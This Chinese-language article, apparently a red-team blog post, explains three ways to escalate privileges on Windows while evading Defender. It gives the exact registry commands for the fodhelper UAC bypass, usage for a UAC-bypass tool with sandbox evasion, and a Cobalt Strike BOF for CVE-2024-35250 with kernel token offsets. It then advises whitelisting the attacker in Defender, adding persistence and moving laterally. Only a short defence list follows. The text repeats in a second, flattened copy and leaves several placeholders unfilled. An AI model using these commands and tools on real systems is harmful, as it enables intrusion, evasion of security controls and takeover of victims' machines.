当前Defender防护下三种提权思路
字数 1398 2025-08-29 08:30:30

Windows Defender防护下的三种提权思路详解

0x01 前言

本文详细分析在Windows Defender防护环境下三种有效的提权方法,适用于不同场景下的权限提升需求。这些方法虽然基于传统技术,但在操作细节上进行了优化以绕过现代安全防护。

0x02 钓鱼场景下的提权方案

场景分析

  • 钓鱼成功后通常获得管理员组用户权限但未通过UAC
  • whoami /priv显示缺少SeImpersonatePrivilege权限
  • 传统土豆家族提权工具(Juicy Potato/God Potato)无法使用
  • 漏洞提权受限于特定Windows版本和补丁状态

方案一:COM组件+计划任务绕过UAC

原理

利用具有自动提升UAC权限能力的COM组件,通过计划任务启动该组件实现权限提升。

工具使用

项目地址:[需自行补充]
编译时建议添加简单反沙箱检测

使用方法

bypassUAC.exe kc "your_command"
  • 第二个参数kc用于简单绕过沙箱(可修改源码调整)
  • 第三个参数为要执行的命令

C2操作示例

  1. 上传bypassUAC.exe
  2. 执行:bypassUAC.exe kc "your_payload"

分离加载场景
创建run.bat脚本:

xxx.exe shellcode.bin

将第三个参数改为执行该bat脚本

方案二:注册表键值bypass UAC

原理

利用fodhelper.exe的autoElevate属性:

  1. fodhelper.exe执行时会读取注册表HKCU:\Software\Classes\ms-settings\Shell\Open\command的内容作为命令执行
  2. 通过修改该注册表项实现权限提升

操作步骤

REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d ""
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "your_payload"
fodhelper.exe

关键注意事项

  • 必须使用免杀payload,否则Defender会拦截并显示"bypassUAC行为"警告
  • 用户必须在管理员组中,否则会弹出密码输入框

方案三:CVE-2024-35250 BOF加载

适用场景

  • 主要适用于Web打点进入Windows Server服务器的情况
  • 对Windows 10支持有限(最高19042版本)
  • 在Server 2012/2016上效果较好

使用方法

  1. 在Cobalt Strike中加载提供的cna文件
  2. 无文件落地执行BOF实现免杀
  3. 命令参数中填入payload获取绕过UAC的shell

版本支持

作者提供了4个不同系统偏移(EPROCESS_TOKEN_OFFSET)的.o文件:

#define EPROCESS_TOKEN_OFFSET_WIN7 0x208
#define EPROCESS_TOKEN_OFFSET_WIN10_1803 0x358
#define EPROCESS_TOKEN_OFFSET_WIN10_1903 0x360
#define EPROCESS_TOKEN_OFFSET_WIN11_21H2 0x448

补丁检查

执行前需检查目标系统是否安装了相关补丁:

systeminfo | findstr KB5029244

各版本漏洞补丁:
[需根据原文补充具体补丁号]

0x03 方案对比与选择建议

方案 适用场景 优点 缺点
COM+计划任务 钓鱼场景,用户在管理员组 稳定可靠,全版本支持 需要上传文件
注册表bypass 钓鱼场景,用户在管理员组 使用系统自带工具 依赖免杀payload
CVE-2024-35250 Web打点进入Server 无文件落地 版本限制大,需未打补丁

0x04 后续操作建议

成功提权后:

  1. 添加Defender白名单
  2. 建立持久化机制
  3. 开始内网横向移动

0x05 防御建议

  1. 限制普通用户的管理员权限
  2. 及时安装系统补丁
  3. 监控注册表关键位置修改
  4. 加强端点防护的UAC绕过检测能力
Windows Defender防护下的三种提权思路详解 0x01 前言 本文详细分析在Windows Defender防护环境下三种有效的提权方法,适用于不同场景下的权限提升需求。这些方法虽然基于传统技术,但在操作细节上进行了优化以绕过现代安全防护。 0x02 钓鱼场景下的提权方案 场景分析 钓鱼成功后通常获得管理员组用户权限但未通过UAC whoami /priv 显示缺少SeImpersonatePrivilege权限 传统土豆家族提权工具(Juicy Potato/God Potato)无法使用 漏洞提权受限于特定Windows版本和补丁状态 方案一:COM组件+计划任务绕过UAC 原理 利用具有自动提升UAC权限能力的COM组件,通过计划任务启动该组件实现权限提升。 工具使用 项目地址:[ 需自行补充 ] 编译时建议添加简单反沙箱检测 使用方法 : 第二个参数 kc 用于简单绕过沙箱(可修改源码调整) 第三个参数为要执行的命令 C2操作示例 : 上传bypassUAC.exe 执行: bypassUAC.exe kc "your_payload" 分离加载场景 : 创建run.bat脚本: 将第三个参数改为执行该bat脚本 方案二:注册表键值bypass UAC 原理 利用fodhelper.exe的autoElevate属性: fodhelper.exe执行时会读取注册表 HKCU:\Software\Classes\ms-settings\Shell\Open\command 的内容作为命令执行 通过修改该注册表项实现权限提升 操作步骤 关键注意事项 : 必须使用免杀payload,否则Defender会拦截并显示"bypassUAC行为"警告 用户必须在管理员组中,否则会弹出密码输入框 方案三:CVE-2024-35250 BOF加载 适用场景 主要适用于Web打点进入Windows Server服务器的情况 对Windows 10支持有限(最高19042版本) 在Server 2012/2016上效果较好 使用方法 在Cobalt Strike中加载提供的cna文件 无文件落地执行BOF实现免杀 命令参数中填入payload获取绕过UAC的shell 版本支持 作者提供了4个不同系统偏移(EPROCESS_ TOKEN_ OFFSET)的.o文件: 补丁检查 执行前需检查目标系统是否安装了相关补丁: 各版本漏洞补丁: [ 需根据原文补充具体补丁号 ] 0x03 方案对比与选择建议 | 方案 | 适用场景 | 优点 | 缺点 | |------|----------|------|------| | COM+计划任务 | 钓鱼场景,用户在管理员组 | 稳定可靠,全版本支持 | 需要上传文件 | | 注册表bypass | 钓鱼场景,用户在管理员组 | 使用系统自带工具 | 依赖免杀payload | | CVE-2024-35250 | Web打点进入Server | 无文件落地 | 版本限制大,需未打补丁 | 0x04 后续操作建议 成功提权后: 添加Defender白名单 建立持久化机制 开始内网横向移动 0x05 防御建议 限制普通用户的管理员权限 及时安装系统补丁 监控注册表关键位置修改 加强端点防护的UAC绕过检测能力